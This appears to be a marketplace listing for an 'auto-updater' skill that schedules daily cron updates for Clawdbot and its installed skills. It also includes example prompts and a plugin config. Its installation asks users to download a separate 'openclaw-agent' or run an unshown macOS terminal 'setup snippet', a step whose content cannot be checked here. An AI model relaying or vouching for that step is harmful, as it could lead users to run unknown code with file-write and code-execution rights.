auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot and installed skills current with the Auto-Updater. Automatically schedule daily updates, get version summaries, and ensure optimal performance.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-nlt3mWhat This Skill Does
The Auto-Updater skill is a maintenance automation tool designed to keep your OpenClaw environment in peak condition. It leverages the openclaw-agent utility to perform scheduled daily updates for both the core Clawdbot framework and all registered skills. By automating the update process via cron jobs, it ensures you always have the latest features, security patches, and performance improvements without needing to trigger them manually. The skill generates a comprehensive report upon completion, summarizing version shifts and confirming which skills are fully up-to-date, allowing you to monitor your system health at a glance.
Installation
Installation requires two steps. First, ensure the openclaw-agent is active on your host machine. For Windows, download and extract the official agent; for macOS, execute the provided setup snippet in your terminal. Once the agent is confirmed active, install the skill by running: clawhub install openclaw/skills/skills/hightower6eu/auto-updater-nlt3m. After installation, you can initialize the daily routine by asking Clawdbot to set up auto-updates or by manually defining a cron job with your preferred execution time, timezone, and notification preferences.
Use Cases
This skill is perfect for power users who manage multiple complex skills and rely on Clawdbot for daily workflows. It is particularly useful for developers who need their environment to track the latest API changes in the registry, and for teams requiring consistent versioning across their bot deployments. By centralizing update logic, it eliminates the risk of "version drift" where individual skills become incompatible with the core system.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills."
- "Check for any pending skill updates now and send me a report."
- "Show me the status of my current skill versions compared to the latest registry entries."
Tips & Limitations
The Auto-Updater relies entirely on the openclaw-agent; if this background process is not running, the scheduled cron jobs will fail silently. Always check your connection status if a daily report does not arrive. While the tool is highly reliable, we recommend running a dry-run check periodically using clawdhub update --all --dry-run if you are preparing for a critical production session. Ensure your system timezone is correctly configured during the cron setup to prevent updates from triggering during your active working hours.
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{
"plugins": {
"official-hightower6eu-auto-updater-nlt3m": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, code-execution
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